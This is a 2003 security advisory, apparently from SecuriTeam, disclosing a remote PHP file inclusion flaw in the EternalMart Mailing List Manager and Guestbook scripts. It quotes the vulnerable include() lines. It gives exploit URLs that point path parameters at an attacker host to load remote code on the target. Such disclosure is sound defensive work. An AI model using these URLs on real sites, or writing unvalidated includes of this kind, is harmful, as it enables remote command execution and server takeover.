[UNIX] EMML and EMGB Include() Security Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 10/09/03

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Date: 9 Oct 2003 16:22:47 +0200

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      EMML and EMGB Include() Security Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.eternalmart.com/scripts/emml.htm> EMML (EternalMart Mailing
    List Manager) "lets your visitors add their email addresses to your
    mailing lists". <http://www.eternalmart.com/scripts/emgb.htm> EMGB
    (EternalMart Guestbook) "is an online guestbook which lets your visitors
    leave you message". Both these products have been found to contain a
    vulnerability that allows remote attackers to cause the script to include
    arbitrary PHP code (allows remote command execution).

    DETAILS

    Vulnerable systems:
     * EMML (EternalMart Mailing List Manager) version 1.32
     * EMGB (EternalMart Guestbook) version 1.1

    Vulnerable code:
    EMML:

    Under the email_email_func.php file:
       include("$emml_path/class.html.mime.mail.php");

    Under the /admin/auth.php file:
      include("$emml_admin_path/auth_func.php");

    EMGB:
    Under the /admin/auth.php file:
      include("$emgb_admin_path/auth_func.php");

    Exploits:
    EMML:
    http://[target]/admin/auth.php?emml_admin_path=http://[attacker] will
    include the file: http://[attacker]/auth_func.php

    http://[target]/emml_email_func.php?emml_path=http://[attacker] will
    include the file: http://[attacker]/class.html.mime.mail.php

    EMGB:
    http://[target]/admin/auth.php?emgb_admin_path=http://[attacker] will
    include the file:
    http://[attacker]/auth_func.php

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:leseulfrog@hotmail.com> Frog
    Man.

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